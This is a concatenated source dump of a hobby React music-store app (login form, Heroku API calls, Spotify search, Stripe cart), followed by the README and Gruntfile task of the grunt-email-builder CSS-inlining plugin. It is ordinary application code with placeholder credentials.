<i className="fas fa-arrow-circle-right position-fixed btn" style={{zIndex:"2", top:"50%", left:"-25px", fontSize:"2rem"}} onClick={this.handleSideShowUP.bind(this)}></i>
<nav className="col-md-2 background_red side-nav hide-nav" style={{transition:"0.3s"}}>
<p className="text-center pt-3 pb-2 mb-3" style={{color:"#fff",fontSize:"1.2rem"}}>
Hello {localStorage.username}
<i className="fas fa-times-circle btn close-tag" onClick={this.handleSideShowUP.bind(this)}></i>
</p>
<ul className="nav flex-column mb-3">
{this.sideNav()}
</ul>
</nav>
<main role="main" className="col-md-9 ml-sm-auto col-lg-10 px-4 "><div className="chartjs-size-monitor"><div className="chartjs-size-monitor-expand"></div><div className="chartjs-size-monitor-shrink"></div></div>
<div className="pt-3 pb-2 mb-3 border-bottom">
<h1>{this.state.page}</h1>
</div>
<div style={{minHeight:"90vh"}}>
<div className="row">
{this.state.page==="My account"?this.account():""}
{this.state.page==="My order"?this.orderList():""}
{this.state.page==="My music"?this.ShoppingItems():""}
</div>
</div>
</main>
</div>
)
}
}
export default User<file_sep>/src/components/authForm.js
import React, { Component } from 'react';
import * as apiCalls from "../api/api"
class AuthForm extends Component{
constructor(props){
super(props)
this.state = {
email:"",
username:"",
password:"",
err:false,
sign:true
}
this.handleSubmit = this.handleSubmit.bind(this)
}
componentDidUpdate(){
console.log("updata")
console.log(this.state.email,this.state.password)
if(this.state.email==="<EMAIL>"&&this.state.password==="<PASSWORD>"){
document.querySelector("button").click()
}
}
async handleSubmit(e){
e.preventDefault()
const path = this.state.sign?"signin":"signup"
const username=this.state.username
const email=this.state.email
const password=<PASSWORD>
const data = await apiCalls.getAuth(path,username,email,password)
if(data){
localStorage.setItem("jwtToken", data.token);
localStorage.setItem("id", data.id);
localStorage.setItem("username", data.username);
}else {
this.setState({err:true})
}
this.props.checkAuth()
}
handleChange = e =>{
this.setState({
[e.target.name]: e.target.value
})
}
handleTestLogin(){
this.setState({
email:"<EMAIL>",
username:"test",
password:"<PASSWORD>",
})
}
render(){
return (
<React.Fragment>
<h1 className="text-center">{this.state.sign?"log in":"register"}</h1>
{this.state.err?<div className="text-center">wrong user input</div>:""}
<form className="col-md-9 mx-auto col-sm-12" onSubmit={this.handleSubmit}>
<div className="form-group">
<label htmlFor="Email">Email address</label>
<input name="email" type="email" className="form-control" id="Email" placeholder="Enter email" onChange={this.handleChange} value={this.state.email}/>
<small id="emailHelp" className="form-text text-muted">We'll never share your email with anyone else.</small>
</div>
{this.state.sign?"":
<div className="form-group">
<label htmlFor="Username">username</label>
<input name="username" type="text" className="form-control" id="Username" placeholder="Enter email" onChange={this.handleChange} value={this.state.username}/>
</div>}
<div className="form-group">
<label htmlFor="Password">Password</label>
<input name="password" type="<PASSWORD>" className="form-control" id="Password" placeholder="<PASSWORD>" onChange={this.handleChange} value={this.state.password}/>
</div>
<div className="form-group">
<button type="submit" className="btn btn-primary form-control">Submit</button>
</div>
{this.state.sign?
<div className="form-group">
<div className="btn btn-warning form-control" onClick={this.handleTestLogin.bind(this)}>Test User</div>
</div>:""}
<div className="form-group">
<div className="btn btn-success form-control" onClick={()=>this.setState({sign:!this.state.sign})}>{this.state.sign?"new user":"I have a account"}</div>
</div>
</form>
</React.Fragment>
)
}
}
export default AuthForm<file_sep>/src/api/api.js
function errorHandle(res){
if(!res.ok) {
if(res.status >=400 && res.status <500){
return res.json().then(err=>{
throw err
})
}else {
let err = {errorMessage: 'Please try again later, server is not responsed'}
throw err
}
}
}
export async function getToken(){
const tokenURL = 'https://sheltered-hamlet-43788.herokuapp.com/access_token'
return fetch(tokenURL)
.then(res => {
errorHandle(res)
return res.json()
})
.then(res=>res.access_token)
.catch(err=>console.log(err))
}
export async function getData(searchURL,token){
return fetch(searchURL,{
method:'GET',
headers: new Headers({
"Accept": "application/json",
"Content-Type": "application/json",
"Authorization": `Bearer ${token}`
})
})
.then(res => {
errorHandle(res)
return res.json()
})
.then(res=>{
console.log(res)
return res
})
.catch(err=>console.log(err))
}
export async function getAuth(sign,username,email,password){
const url = 'https://sheltered-hamlet-43788.herokuapp.com/api/auth/'+sign
return fetch(url,{
method:"POST",
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
username,
email,
password
})
})
.then(res => {
errorHandle(res)
return res.json()
})
.then(res=>{
console.log(res)
return res
})
.catch(err=>console.log(err))
}
export async function checkAuth(userId, token){
const url="https://sheltered-hamlet-43788.herokuapp.com/test/" +userId
return fetch(url,{
headers:{
"authorization":`Bearer ${token}`
}
})
.then(res => {
errorHandle(res)
return res.json()
})
.then(res=>{
console.log(res)
return res.auth==="success"?true:false
})
.catch(err=>console.log(err))
}
export async function getUser(){
return fetch("https://sheltered-hamlet-43788.herokuapp.com/api/user/"+localStorage.id,{
headers: {
"Content-Type": "text/plain",
"authorization":`Bearer ${localStorage.jwtToken}`
}
})
.then(res=>res.json())
.catch(err=>console.log(err))
}
export async function makeOrder(token,order){
return fetch("https://sheltered-hamlet-43788.herokuapp.com/api/charge/"+localStorage.id, {
method: "POST",
headers: {
"Content-Type": "text/plain",
"authorization":`Bearer ${localStorage.jwtToken}`
},
body: JSON.stringify({token,...order})
})
}
// http://localhost:8081/
<file_sep>/src/container/shoppingChat.js
import React, { Component } from 'react';
import CartItem from '../components/cartItem'
import {Elements, StripeProvider} from 'react-stripe-elements';
import CheckoutForm from '../components/CheckoutForm';
class ShoppingCart extends Component{
componentDidMount(){
console.log("shopping page mount")
for(let key in this.props.shoppingCart){
console.log(this.props.shoppingCart[key].item.name)
console.log(this.props.shoppingCart[key].item.type)
}
}
ShoppingItems =()=>{
let arr = []
for(let key in this.props.shoppingCart){
arr.push(
<CartItem
key={key}
info={this.props.shoppingCart[key]}
{...this.props}
/>
)
}
return arr
}
handleCancel(){
if(this.props.removeAllShopping){
this.props.removeAllShopping()
}
}
handleCheckOut(){
this.props.history.push("/login")
}
render(){
return (
<div className="">
<div className="row mx-auto">
<div role="main" className="col-md-12 px-4">
<div className="d-flex justify-content-between flex-wrap flex-md-nowrap align-items-center pt-3 pb-2 mb-3 border-bottom">
<h1 className="h2">Shopping Cart</h1>
<div className="btn-toolbar mb-2 mb-md-0">
<div className="btn-group mr-2">
<button className="btn btn-sm btn-outline-primary" data-toggle="modal" data-target="#exampleModalCenter">check out</button>
<button onClick={this.handleCancel.bind(this)} className="btn btn-sm btn-outline-danger">remove all</button>
</div>
</div>
</div>
<div className="background_black p-2" style={{minHeight:"70vh"}}>
<div className="row p-2">
{this.ShoppingItems()}
</div>
<div>
<hr style={{background:"white",height: "1px"}}/>
<h3 className="mr-3 text-right" style={{color:"white"}}>total price:{this.props.total}$</h3>
</div>
</div>
</div>
</div>
<div className="modal fade" id="exampleModalCenter" tabIndex="-1" role="dialog">
<div className="modal-dialog modal-dialog-centered" role="document">
<div className="modal-content">
<StripeProvider apiKey="<KEY>">
<div className="example">
<Elements>
<CheckoutForm {...this.props}/>
</Elements>
</div>
</StripeProvider>
</div>
</div>
</div>
</div>
)
}
}
export default ShoppingCart<file_sep>/src/components/musicCard.js
import React, { Component } from 'react';
import HeadphoneImg from '../img/malte-wingen-381988-unsplash.jpg'
class MusicCard extends Component{
handleAddShopping(){
if(this.props.addShopping){
this.props.addShopping(this.props.info,this.props.price,this.props.img)
}
}
handleRemoveShopping(){
if(this.props.removeShopping){
this.props.removeShopping(this.props.info)
}
}
render(){
return (
<div className="card background_black">
<img className="card-img-top" src={this.props.img?this.props.img:HeadphoneImg} alt=""/>
<div className="card-body" style={{color:"#fff"}}>
<h4>{this.props.info.name}</h4>
{this.props.price?
<div>
Artists:{this.props.info.artists[0].name} <br/>
Price:{this.props.price} <br/>
<i className="fas fa-shopping-cart"></i>
<span className="badge badge-pill badge-info">{this.props.shoppingCart[this.props.info.id]?this.props.shoppingCart[this.props.info.id].qty:0}</span>
<span className="float-right">
<span className="btn btn-warning btn-sm" onClick={this.handleAddShopping.bind(this)}>+</span>
<span className="btn btn-danger btn-sm" onClick={this.handleRemoveShopping.bind(this)}>-</span>
</span>
</div>
:""}
</div>
</div>
)
}
}
export default MusicCard<file_sep>/src/components/dropdown.js
import React, { Component } from 'react';
import {NavLink, Link } from 'react-router-dom';
class Dropdown extends Component {
constructor(props){
super(props)
this.state = {
email:"",
}
}
handleClick=()=>{
if(this.props.add){
this.props.add()
}
}
handleLogout(e){
if(this.props.logout){
this.props.logout()
}
}
render() {
return (
<div className="collapse navbar-collapse justify-content-end" id="Dropdown">
<ul className="navbar-nav">
<li className="nav-item">
<NavLink exact className="nav-link" to="/"><i className="fas fa-home"></i> Home</NavLink>
</li>
<li className="nav-item">
<NavLink exact className="nav-link" to="/search"><i className="fas fa-search"></i> Search</NavLink>
</li>
<li className="nav-item">
<NavLink exact className="nav-link" to="/shoppingCart"><i className="fas fa-shopping-cart"></i><span className="badge badge-pill badge-info">{Object.keys(this.props.shoppingCart).length>0?Object.keys(this.props.shoppingCart).length:""}</span>shopping cart</NavLink>
</li>
<li className="nav-item">
<NavLink exact className="nav-link" to="/user"><i className="fas fa-user"></i> User</NavLink>
</li>
<li className="nav-item">
<NavLink exact className="nav-link" to="/about"><i className="fas fa-book"></i> About</NavLink>
</li>
<li className="nav-item">
<Link className="nav-link" to="/" onClick={this.handleLogout.bind(this)}><i className="fas fa-sign-out-alt"></i> Log Out</Link>
</li>
</ul>
</div>
)
}
}
export default Dropdown;<file_sep>/src/components/cartItem.js
import React, { Component } from 'react';
import HeadphoneImg from '../img/malte-wingen-381988-unsplash.jpg'
class CartItem extends Component{
handleAddShopping(){
if(this.props.addShopping){
this.props.addShopping(this.props.info.item,this.props.info.price)
}
}
handleRemoveShopping(){
if(this.props.removeShopping){
this.props.removeShopping(this.props.info.item)
}
}
render(){
return (
<div className="col-12">
<div className="row m-1 pt-2 pb-2 background_green border rounded">
<div className="col-lg-2 col-md-3 col-sm-4 col-6">
<img className="card-img shadow" src={this.props.info.img||HeadphoneImg} alt=""/>
</div>
<div className="col-lg-10 col-md-9 col-sm-8 col-6" style={{textShadow:"1px 1px 2px #222222", color:"#f2f2f2", fontWeight:"bold"}}>
<h4>
{this.props.info.item.name}
<div className="mt-1">
<span className="btn btn-warning btn-sm" onClick={this.handleAddShopping.bind(this)}>+</span>
<span className="btn btn-danger btn-sm" onClick={this.handleRemoveShopping.bind(this)}>-</span>
</div>
</h4>
Artists: {this.props.info.item.artists[0].name} <br/>
Price: ${this.props.info.price}
<div className="m-2 p-1">
</div>
<span className="float-right d-inline-block" style={{fontWeight:"bolder"}} >
qty: {this.props.info.qty}
total: {this.props.info.qty*this.props.info.price}$
</span>
</div>
</div>
</div>
)
}
}
export default CartItem<file_sep>/src/container/Main.js
import React, { Component } from 'react';
import Index from './index'
import About from './about'
import Search from './search'
import User from './user'
import ShoppingCart from "./shoppingChat"
import {Switch, Route, Redirect} from 'react-router-dom';
const IndexPage = () => (<Index />)
const AboutPage = () => (<About />)
class Main extends Component {
render() {
return (
<Switch>
<Route exact path="/" component={IndexPage}/>
<Route exact path="/about" component={AboutPage}/>
<Route exact path="/search" render={(props)=>{
return <Search {...this.props} {...props}/>
}}/>
<Route exact path="/user" render={(props)=>{
return <User {...this.props} {...props}/>
}}/>
<Route exact path="/shoppingCart" render={(props)=>{
return <ShoppingCart {...this.props} {...props}/>
}}/>
<Route exact path="/:other" render={() => (
<Redirect to="/"/>
)}/>
</Switch>
)
};
}
export default Main;<file_sep>/src/container/search.js
import React, { Component } from 'react';
import SideNav from '../components/sideNav'
import SearchBar from '../components/searchBar'
import MusicCard from '../components/musicCard'
import HeadphoneImg from '../img/malte-wingen-381988-unsplash.jpg'
import throttle from '../function/throttle'
import * as apiCalls from "../api/api"
// const url = 'http://localhost:8081/access_token'
const body = document.body
const html = document.documentElement
class Search extends Component{
constructor(props){
super(props)
this.state = {
searchResults:[],
next:"https://api.spotify.com/v1/browse/new-releases?country=TW&limit=20",
genre:"",
searchType:"album",
Categories:null
}
this.Scroll = this.Scroll.bind(this)
this.handleScroll = throttle(this.Scroll)
}
componentDidMount() {
this.handleSearch()
window.addEventListener('scroll', this.handleScroll);
}
componentWillUnmount() {
window.removeEventListener('scroll', this.handleScroll);
}
handleSubmitSearch(searchKey,searchType){
if(searchKey==="")searchKey=" "
this.setState({
searchResults:[],
next:`https://api.spotify.com/v1/search?query=${searchKey}&type=${searchType}&market=TW&offset=0&limit=20`,
searchType:searchType
},this.handleSearch)
}
handleGenreSearch(genre){
this.setState({
searchResults:[],
next:`https://api.spotify.com/v1/recommendations?limit=40&market=TW&seed_genres=${genre}`,
searchType:"track",
genre
},this.handleSearch)
}
async handleSearch(){
const searchURL = this.state.next
let token = await apiCalls.getToken()
let data = await apiCalls.getData(searchURL,token)
const Results = this.state.searchResults.splice("")
if(data[this.state.searchType+"s"]&&data[this.state.searchType+"s"].items){
this.setState({
searchResults:[...Results, ...data[this.state.searchType+"s"].items],
next:data[this.state.searchType+"s"].next
})
}else if(data.seeds){
this.setState({
searchResults:[...Results, ...data[this.state.searchType+"s"]],
next:`https://api.spotify.com/v1/recommendations?limit=20&offset=20&=market=TW&seed_genres=${this.state.genre}`,
})
}else{
this.setState({
next:null
})
}
}
Scroll(){
const DocHeight = Math.max(body.scrollHeight, body.offsetHeight,html.clientHeight, html.scrollHeight, html.offsetHeight );
const screenHeight = Math.max(document.documentElement.clientHeight, window.innerHeight || 0);
if(window.scrollY+screenHeight >= DocHeight-200){
if(this.state.next){
this.handleSearch()
}
}
return
}
render(){
return (
<main>
<div className="row mx-auto">
<SideNav onSubmit={this.handleGenreSearch.bind(this)} categories={this.state.Categories}/>
<div className="col-md-10">
<div className="mt-3">
<SearchBar onSubmit={this.handleSubmitSearch.bind(this)}/>
<hr/>
<div className="row mx-auto" style={{"minHeight":"90vh"}}>
{this.state.searchType!=="track"?this.state.searchResults.map((item,i)=>{
return (
<div className="col-lg-3 col-md-4 col-sm-6 col-xs-10 mb-3" key={i}>
<MusicCard
key={i}
info={item}
title={item.name}
img={Boolean(item.images)&&Boolean(item.images[0])?item.images[0].url:HeadphoneImg}
price={this.state.searchType==="album"?300:""}
{...this.props}/>
</div>
)
})
:""}
{this.state.searchType==="track"?this.state.searchResults.map((item,i)=>{
return(
<div className="col-md-3 col-sm-4 col-xs-10 mb-3" key={i}>
<MusicCard
key={i}
info={item}
title={item.name}
img={Boolean(item.album.images)&&Boolean(item.album.images[0])?item.album.images[0].url:HeadphoneImg}
{...this.props}
price={20}/>
</div>
)})
:""}
{this.state.next?<div className="lds-dual-ring mx-auto"></div>:<div className="col-12 text-center" style={{ "fontSize":"2rem"}}>No more result</div>}
</div>
</div>
</div>
</div>
</main>
)
}
}
export default Search<file_sep>/src/components/searchBar.js
import React, { Component } from 'react';
class SearchBar extends Component {
constructor(props){
super(props)
this.state = {
searchValue:'',
searchResults:{}
}
}
handleSearchValueChange(e){
this.setState({
searchValue: e.target.value
})
}
handleSearch(){
if(this.props.onSubmit){
const searchKey = this.state.searchValue
const searchType = document.querySelector('select[name=searchType]').value
this.props.onSubmit(searchKey,searchType)
}
this.setState({
searchValue:""
})
}
handleEnterPress=(e)=>{
if(e.key==="Enter"){
console.log("enter")
this.handleSearch()
}
}
render() {
return (
<div className="input-group mb-3">
<select name="searchType">
<option value="album">album</option>
<option value="artist">artist</option>
<option value="playlist">playlist</option>
<option value="track">track</option>
</select>
<input type="text" className="form-control" placeholder="search..."
value={this.state.searchValue}
onChange = {this.handleSearchValueChange.bind(this)}
onKeyPress ={this.handleEnterPress}/>
<div className="input-group-append">
<span onClick={this.handleSearch.bind(this)} className="btn btn-success">Search</span>
</div>
</div>
);
}
}
export default SearchBar;<file_sep>/src/container/index.js
import React, { Component } from 'react';
import Jumbotron from '../components/jumbotron'
import {Link } from 'react-router-dom';
class Main extends Component {
backyellow ={
"background":"#FDE74C"
}
backgreen ={
"background":"#9BC53D"
}
largeText ={
"fontSize": "4rem",
"fontWeigth":"bolder",
"color":"white",
"textShadow":"1px 1px 0 black"
}
marginLarge={
"margin":"3rem 3rem"
}
render() {
return (
<main className="background_yellow" style={{minHeight:"100vh"}}>
<Jumbotron {...this.props}/>
<div className="row mx-auto">
<div className="col-md-3 col-sm-6 col-xs-12 mb-3" style={{minWidth:"360px"}}>
<Link to="/search">
<div className="card background_search shadow" style={{height:"33vh"}}>
<div className="card-body"style={this.largeText}>
<p className="card-title text-center">search <br/><i className="fas fa-search"style={{color:"#C3423F"}}></i></p>
</div>
</div>
</Link>
</div>
<div className="col-md-3 col-sm-6 col-xs-12 mb-3" style={{minWidth:"360px"}}>
<Link to="/shoppingCart">
<div className="card background_shopping shadow" style={{height:"33vh"}}>
<div className="card-body"style={this.largeText}>
<p className="card-title text-center">Shopping Cart<br/><i className="fas fa-shopping-cart" style={{color:"#9BC53D"}}></i></p>
<p className="text-center" ></p>
</div>
</div>
</Link>
</div>
<div className="col-md-3 col-sm-6 col-xs-12 mb-3" style={{minWidth:"360px"}}>
<Link to="/user">
<div className="card background_user shadow" style={{height:"33vh"}}>
<div className="card-body"style={this.largeText}>
<p className="card-title text-center">User<br/><i className="fas fa-user" style={{color:"#5BC0EB"}}></i></p>
<p className="text-center" ></p>
</div>
</div>
</Link>
</div>
<div className="col-md-3 col-sm-6 col-xs-12 mb-3" style={{minWidth:"360px"}}>
<Link to="/about">
<div className="card background_about shadow" style={{height:"33vh"}}>
<div className="card-body"style={this.largeText}>
<p className="card-title text-center">About<br/><i className="fas fa-book" style={{color:"#C3423F"}}></i></p>
<p className="text-center" ></p>
</div>
</div>
</Link>
</div>
<div className="col-md-3 col-sm-6 col-xs-12"></div>
<div className="col-md-3 col-sm-6 col-xs-12"></div>
<div className="col-md-3 col-sm-6 col-xs-12"></div>
</div>
</main>
);
}
}
export default Main;<file_sep>/src/App.js
import React, { Component } from 'react';
import Landing from './container/landing'
import Main from './container/Main';
import Header from './container/header'
import * as apiCalls from "./api/api"
// import { setCookie, getCookie }from "./function/cookie"
class App extends Component {
constructor(props){
super(props)
this.state={
shoppingCart:{},
login:false,
logout:this.logout,
total:0,
addShopping:this.addShopping.bind(this),
removeShopping:this.removeShopping.bind(this),
removeAllShopping: this.removeAllShopping.bind(this),
checkAuth:this.authUser.bind(this)
}
}
componentWillMount(){
if(localStorage.getItem('cart')){
let shoppingCart = JSON.parse(localStorage.getItem('cart'))
let total = 0
for(let key in shoppingCart){
total = total + shoppingCart[key].price * shoppingCart[key].qty
}
this.setState({
shoppingCart:shoppingCart,
total:total
})
}
}
componentDidMount(){
this.authUser()
}
// componentDidUpdate(){
// this.authUser()
// }
async authUser(){
if(localStorage.jwtToken){
console.log("have token")
const isLogin = await apiCalls.checkAuth(localStorage.id, localStorage.jwtToken)
if(isLogin){
(!this.state.login)?this.setState({login:true}):console.log("not Auth")
console.log("auth user "+localStorage.username)
return true
}else{
localStorage.removeItem("jwtToken")
localStorage.removeItem("id");
localStorage.removeItem("username");
this.setState({login:false})
return false
}
}else{
console.log("not auth")
return false
}
}
logout=()=>{
localStorage.removeItem("jwtToken")
localStorage.removeItem("id");
localStorage.removeItem("username");
this.setState({login:false})
}
addShopping(item,price,img){
let NewCart = JSON.parse(JSON.stringify(this.state.shoppingCart));
let totalPrice = this.state.total
if(!NewCart[item.id]){
NewCart[item.id]={item, qty:1, price, img}
localStorage.setItem("cart",JSON.stringify(NewCart))
}else{
NewCart[item.id].qty++
NewCart[item.id].price = price
localStorage.setItem("cart",JSON.stringify(NewCart))
}
totalPrice += price
this.setState({shoppingCart:NewCart, total:totalPrice})
}
removeShopping(item){
let NewCart = JSON.parse(JSON.stringify(this.state.shoppingCart));
let totalPrice = this.state.total
if(NewCart[item.id]){
const price = NewCart[item.id].price
if(NewCart[item.id].qty===1){
delete NewCart[item.id]
}else{
NewCart[item.id].qty--
}
totalPrice-price>0?totalPrice=totalPrice-price:totalPrice=0
}
localStorage.setItem("cart",JSON.stringify(NewCart))
this.setState({shoppingCart:NewCart, total:totalPrice})
}
removeAllShopping(){
localStorage.removeItem("cart")
this.setState({
shoppingCart:{},
total:0,
})
}
render() {
if(!this.state.login){
return (<Landing {...this.state}/>)
}
return (
<div>
<Header {...this.state}/>
<Main {...this.state}/>
</div>
);
}
}
export default App;
<file_sep>/src/components/sideNav.js
import React, { Component } from 'react';
class SideNav extends Component{
constructor(props){
super(props);
this.state = {
genres:["acoustic","alternative", "anime","blues", "bossanova", "chill", "classical", "dance", "deep-house","disco", "drum-and-bass","dubstep","electronic", "funk","groove", "guitar", "happy", "hard-rock", "hip-hop", "holidays", "house", "indie", "industrial", "j-pop", "j-rock", "jazz", "k-pop", "mandopop", "metal", "movies", "new-release", "opera","piano", "pop", "punk","road-trip", "rock","rock-n-roll","romance","sad","sleep","soul","study","summer","tango","trance","work-out"],
}
}
screen ={
"height":"100vh",
"background":"#C3423F"
}
handleGenreClick(e){
if(this.props.onSubmit){
this.props.onSubmit(e.target.innerText)
console.log(e.target.innerText)
}
this.setState({
selected:e.target.value
})
}
hoverIn(e){
e.target.classList.add("font-large")
if(e.target.previousElementSibling){
e.target.previousElementSibling.classList.add("font-mid")
}
if(e.target.nextElementSibling){
e.target.nextElementSibling.classList.add("font-mid")
}
}
hoverOut(e){
e.target.classList.remove("font-large")
if(e.target.previousElementSibling){
e.target.previousElementSibling.classList.remove("font-mid")
}
if(e.target.nextElementSibling){
e.target.nextElementSibling.classList.remove("font-mid")
}
}
handleSideShowUP(){
const side = document.querySelector(".side-nav")
side.classList.toggle("hide-nav")
}
render(){
return (
<React.Fragment>
<i className="fas fa-arrow-circle-right position-fixed btn" style={{zIndex:"3", top:"50%", left:"-25px", fontSize:"2rem"}} onClick={this.handleSideShowUP.bind(this)}></i>
<div className="col-md-2 background_red side-nav hide-nav" style={{transition:"0.3s"}}>
<h4 className="text-center pt-3 pb-2 mb-3" style={{color:"#fff",wordBreak: "break-all"}}>
Recommendations
<i className="fas fa-times-circle btn close-tag" onClick={this.handleSideShowUP.bind(this)}></i>
</h4>
<ul className="list-group list-group-flush">
{this.state.genres.map((item,i)=>{
return(
<li style={{transition:"0.1s"}} onMouseEnter={this.hoverIn.bind(this)} onMouseLeave={this.hoverOut.bind(this)} onClick={this.handleGenreClick.bind(this)} className="btn btn-outline-warning" key={i}>{item}</li>
)
})}
</ul>
</div>
</React.Fragment>
)
}
}
export default SideNav<file_sep>/src/container/landing.js
import React, { Component } from 'react';
import AuthForm from '../components/authForm'
import HeadphoneImg from '../img/malte-wingen-381988-unsplash.jpg'
import { getToken } from "../api/api"
class Landing extends Component{
componentDidMount(){
getToken()
}
render(){
return (
<div className="landing_back" style={{minHeight:"100vh"}}>
<div className="row mx-auto">
<div className="col-lg-4 col-md-6 col-10 mx-auto background_yellow p-3 rounded shadow-lg" style={{marginTop:"10vh"}}>
<h1 className="text-center">Music store</h1>
<img className="mb-4 d-block mx-auto" src={HeadphoneImg} alt="" width="100" height="100"/>
<AuthForm {...this.state} {...this.props}/>
</div>
</div>
</div>
)
}
}
export default Landing | 290d200b7e2ce39d1ece2ce38228fba5ec5864ae | [
"JavaScript"
] | 14 | JavaScript | gitgeorgec/music-store | b8f636b00960e4c22974d3c9fef24b44acd1c1d5 | 7d33adb9246e26bb668dba3526dee5cd3bbf6d0d |
refs/heads/master | <file_sep># grunt-email-builder [](https://travis-ci.org/yargalot/Email-Builder)
Inline css into HTML or inline css into styletags for emails. You can then send files to Litmus for testing.
## Getting Started
Install this grunt plugin next to your project's [grunt.js gruntfile][getting_started] with: `npm install grunt-email-builder`
Then add this line to your project's `grunt.js` gruntfile:
```javascript
grunt.loadNpmTasks('grunt-email-builder');
```
[grunt]: http://gruntjs.com/
[getting_started]: http://gruntjs.com/getting-started
## Documentation
Place this in your grunt file.
```javascript
emailBuilder: {
test :{
options: {
litmus : {
subject: 'Custom subject line', // Optional, defaults to title of email + yyyy-mm-dd
username : 'username',
password : '<PASSWORD>',
url : 'https://yoursite.litmus.com',
//https://yoursite.litmus.com/emails/clients.xml
applications : ['gmailnew', 'hotmail', 'outlookcom', 'ol2000', 'ol2002', 'ol2003', 'ol2007', 'ol2010','ol2011', 'ol2013', 'appmail6','iphone4', 'iphone5', 'ipad3']
},
},
files : {
'example/test/htmlTest.html' : 'example/html/htmlTest.html'
}
}
}
```
Use the `data-ignore` attribute on embedded or external styles to prevent them from being inlined. Otherwise all styles will be inline. External styles with `data-ignore` will be embedded in their own `<style>` tag within the document.
```html
<link rel="stylesheet" data-ignore="ignore" href="../css/style.css" type="text/css" />
<style data-ignore="ignore">
.class { color: #000;}
</style>
```
## Contributing
In lieu of a formal styleguide, take care to maintain the existing coding style. Add unit tests for any new or changed functionality. Lint and test your code using [grunt][grunt].
### Contributors
Thanks for helping out:
- [<NAME>](https://github.com/jeremypeter)
- [<NAME>](https://github.com/joshgillies)
## Thanks to
[Juice](https://github.com/LearnBoost/juice) for compiling.
## Release History
- 0.3 Inline css from style tags
- 0.22 Bug Fixes
- 0.2 upgrade to grunt 0.4
## License
Copyright (c) 2013 <NAME>
Licensed under the MIT license.
<file_sep>/*
* grunt-EmailBuilder
* https://github.com/yargalot/Email-Builder
*
* Copyright (c) 2013 <NAME>
* Licensed under the MIT license.
*/
module.exports = function(grunt) {
// Please see the grunt documentation for more information regarding task and
// helper creation: https://github.com/gruntjs/grunt/blob/master/docs/toc.md
// ==========================================================================
// TASKS
// ==========================================================================
// Task Desciption
var task_name = 'emailBuilder',
task_description = 'Compile Files';
// Required modules
var juice = require('juice'),
path = require('path'),
cheerio = require('cheerio'),
async = require('async'),
Litmus = require('./lib/litmus.js');
grunt.registerMultiTask(task_name, task_description, function() {
var options = this.options(),
basepath = options.basepath,
done = this.async();
async.eachSeries(this.files, function(file, next){
var html = grunt.file.read(file.src),
basepath = process.cwd(),
date = grunt.template.today('yyyy-mm-dd'),
$ = cheerio.load(html),
$title = $('title').text() + date || date,
$styleLinks = $('link'),
$styleTags = $('style'),
srcFiles = [],
embeddedCss = '',
extCss = '';
// link tags
$styleLinks.each(function(i, link){
var $this = $(this),
target = $this.attr('href'),
map = {
file: target,
inline: $this.attr('data-ignore') ? false : true
};
srcFiles.push(map);
$this.remove();
});
// style tags
$styleTags.each(function(i, element){
var $this = $(this);
if(!$this.attr('data-ignore')){
embeddedCss += $this.text();
$this.remove();
}
});
// Set to target file path to get css
grunt.file.setBase(path.dirname(file.src));
async.eachSeries(srcFiles, function(srcFile, nextFile){
var css = grunt.file.read(srcFile.file);
if(srcFile.inline){
extCss += css;
}else{
$('head').append('<style>' + css + '</style>');
}
nextFile();
}, function(err){
if(err) { grunt.log.error(err); }
var html = $.html(),
allCss = embeddedCss + extCss,
output = allCss ? juice.inlineContent(html, allCss) : html;
// Set cwd back to root folder
grunt.file.setBase(basepath);
grunt.log.writeln('Writing...'.cyan);
grunt.file.write(file.dest, output);
grunt.log.writeln('File ' + file.dest.cyan + ' created.');
if (options.litmus) {
var litmus = new Litmus(options.litmus);
// If subject is set but is empty set it to $title
if(options.litmus.subject.trim().length === 0) {
options.litmus.subject = $title;
}
litmus.run(output, $title, next);
} else {
next();
}
});
}, function(){
done();
});
});
};
| 120dee348ba01c011824742537d30fc146bd0429 | [
"Markdown",
"JavaScript"
] | 2 | Markdown | AgtLucas/Email-Builder | 5419e1c2e0b66059c4c0a8a91ccdffb4499f5471 | c8c639db199b68d64c490b172f8c9494010fc578 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.